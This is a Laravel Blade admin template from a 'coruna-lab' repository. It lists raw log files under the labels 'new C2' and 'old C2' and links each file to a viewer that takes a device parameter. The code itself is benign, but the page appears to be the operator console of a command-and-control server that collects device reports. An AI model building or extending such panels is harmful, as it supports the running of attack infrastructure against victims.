Files
coruna-lab/resources/views/admin/logs/index.blade.php
T
2026-08-14 13:15:52 +08:00

46 lines
1.3 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '原始日志')
@section('content')
@php
$labels = ['xxbb' => '新版 C2(public/log/xxbb)', 'c2' => '旧版 C2(public/log/c2)'];
@endphp
@foreach ($labels as $k => $title)
<div class="layui-card">
<div class="layui-card-header">{{ $title }}</div>
<div class="layui-card-body">
@if ($k === 'xxbb')
<p class="layui-word-aux" style="margin-bottom:12px;">xxbb 短路径上报单独落盘,与旧版 /api/user/* 分开。</p>
@else
<p class="layui-word-aux" style="margin-bottom:12px;">按日文件落盘,不再写入数据库。</p>
@endif
<table class="layui-table">
<thead>
<tr>
<th>文件</th>
<th>大小</th>
<th>修改时间</th>
<th></th>
</tr>
</thead>
<tbody>
@forelse ($groups[$k] ?? [] as $f)
<tr>
<td><code>{{ $f['name'] }}</code></td>
<td>{{ number_format($f['size']) }} B</td>
<td>{{ $f['mtime'] }}</td>
<td>
<a class="layui-btn layui-btn-xs" href="{{ route('admin.logs.show', ['file' => $f['name'], 'kind' => $k, 'path' => $path, 'device' => $device]) }}">查看</a>
</td>
</tr>
@empty
<tr><td colspan="4">暂无日志文件</td></tr>
@endforelse
</tbody>
</table>
</div>
</div>
@endforeach
@endsection